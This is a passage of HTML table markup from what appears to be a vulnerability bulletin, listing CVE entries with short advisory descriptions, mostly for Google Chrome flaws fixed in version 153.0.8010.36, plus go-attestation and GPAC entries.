&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87614&quot; target=&quot;_blank&quot;&gt;CVE-2026-87614&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in Payments in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87615&quot; target=&quot;_blank&quot;&gt;CVE-2026-87615&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper initialization in Views in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87616&quot; target=&quot;_blank&quot;&gt;CVE-2026-87616&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in DevTools in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87617&quot; target=&quot;_blank&quot;&gt;CVE-2026-87617&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect reference resolution in Storage in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87618&quot; target=&quot;_blank&quot;&gt;CVE-2026-87618&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Observable discrepancy in Prefetch in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87619&quot; target=&quot;_blank&quot;&gt;CVE-2026-87619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Observable discrepancy in SVG in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87620&quot; target=&quot;_blank&quot;&gt;CVE-2026-87620&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds write in ANGLE in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87621&quot; target=&quot;_blank&quot;&gt;CVE-2026-87621&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in FedCM in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87622&quot; target=&quot;_blank&quot;&gt;CVE-2026-87622&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Observable discrepancy in DOM in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87623&quot; target=&quot;_blank&quot;&gt;CVE-2026-87623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in Passwords in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87624&quot; target=&quot;_blank&quot;&gt;CVE-2026-87624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to execute arbitrary code inside the sandbox via a crafted Chrome extension. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87625&quot; target=&quot;_blank&quot;&gt;CVE-2026-87625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in DeviceBoundSessionCredentials in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via crafted network traffic. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87626&quot; target=&quot;_blank&quot;&gt;CVE-2026-87626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Interpretation conflict in Safebrowsing in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted file. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87627&quot; target=&quot;_blank&quot;&gt;CVE-2026-87627&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Cast in Google Chrome prior to 153.0.8010.36 allowed an adjacent attacker to potentially execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Critical)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87628&quot; target=&quot;_blank&quot;&gt;CVE-2026-87628&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Sources in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87629&quot; target=&quot;_blank&quot;&gt;CVE-2026-87629&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Integer overflow in WebRTC in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87630&quot; target=&quot;_blank&quot;&gt;CVE-2026-87630&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in DOM in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially leak sensitive information via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87631&quot; target=&quot;_blank&quot;&gt;CVE-2026-87631&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Cross-site scripting in SanitizerAPI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87632&quot; target=&quot;_blank&quot;&gt;CVE-2026-87632&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Views in Google Chrome prior to 153.0.8010.36 allowed a local attacker to execute arbitrary code outside the sandbox via UI Interaction. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87633&quot; target=&quot;_blank&quot;&gt;CVE-2026-87633&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in WebPackaging in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87634&quot; target=&quot;_blank&quot;&gt;CVE-2026-87634&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in Payments in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87635&quot; target=&quot;_blank&quot;&gt;CVE-2026-87635&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Type confusion in XML in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87636&quot; target=&quot;_blank&quot;&gt;CVE-2026-87636&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Extensions in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87637&quot; target=&quot;_blank&quot;&gt;CVE-2026-87637&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds write in Media in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87638&quot; target=&quot;_blank&quot;&gt;CVE-2026-87638&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in WebPackaging in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87639&quot; target=&quot;_blank&quot;&gt;CVE-2026-87639&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds read in WebView in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87640&quot; target=&quot;_blank&quot;&gt;CVE-2026-87640&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in Browser in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87641&quot; target=&quot;_blank&quot;&gt;CVE-2026-87641&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Uninitialized resource in WebGL in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87642&quot; target=&quot;_blank&quot;&gt;CVE-2026-87642&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Integer overflow in GPU in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87643&quot; target=&quot;_blank&quot;&gt;CVE-2026-87643&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Views in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87644&quot; target=&quot;_blank&quot;&gt;CVE-2026-87644&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper state validation in Safebrowsing in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87645&quot; target=&quot;_blank&quot;&gt;CVE-2026-87645&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Web Authentication in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87646&quot; target=&quot;_blank&quot;&gt;CVE-2026-87646&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Uninitialized resource in GPU in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87647&quot; target=&quot;_blank&quot;&gt;CVE-2026-87647&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in ANGLE in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87648&quot; target=&quot;_blank&quot;&gt;CVE-2026-87648&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in Downloads in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87649&quot; target=&quot;_blank&quot;&gt;CVE-2026-87649&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds read in WebGL in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87650&quot; target=&quot;_blank&quot;&gt;CVE-2026-87650&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Paint in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87651&quot; target=&quot;_blank&quot;&gt;CVE-2026-87651&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in PushAPI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87652&quot; target=&quot;_blank&quot;&gt;CVE-2026-87652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in FullScreen in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87653&quot; target=&quot;_blank&quot;&gt;CVE-2026-87653&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Buffer overflow in ANGLE in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87654&quot; target=&quot;_blank&quot;&gt;CVE-2026-87654&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Clickjacking in Downloads in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87655&quot; target=&quot;_blank&quot;&gt;CVE-2026-87655&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper state validation in Safebrowsing in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87656&quot; target=&quot;_blank&quot;&gt;CVE-2026-87656&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87657&quot; target=&quot;_blank&quot;&gt;CVE-2026-87657&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to obtain cross-origin data via a crafted Chrome extension. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87658&quot; target=&quot;_blank&quot;&gt;CVE-2026-87658&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--go-attestation&lt;/td&gt;
&lt;td&gt;An uncontrolled recursion vulnerability in the Windows SIPA event log parser of Google go-attestation versions up to and including 0.6.1 allows an attacker to cause a denial of service (DoS). The (*WinEvents).readELAMAggregation function recurses for every nested elamAggregation sub-event without enforcing a maximum recursion depth limit, while the size guard is bypassed on recursive execution paths. By submitting a crafted Windows event log containing deeply nested elamAggregation headers, an attacker can exhaust the goroutine call stack, triggering an unrecoverable fatal runtime error (stack overflow) that immediately crashes the verifier application.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19201&quot; target=&quot;_blank&quot;&gt;CVE-2026-19201&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;Buffer Overflow vulnerability in GPAC c2dee3aff638cd96f9617ac5b17dc2868cd90ef3 allows an attacker to execute arbitrary code via the nhntdmx_process() function. Fixed in fac50e6a12ac27ffabdd5d3080b51afcc44ad8d6.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71612&quot; target=&quot;_blank&quot;&gt;CVE-2026-71612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
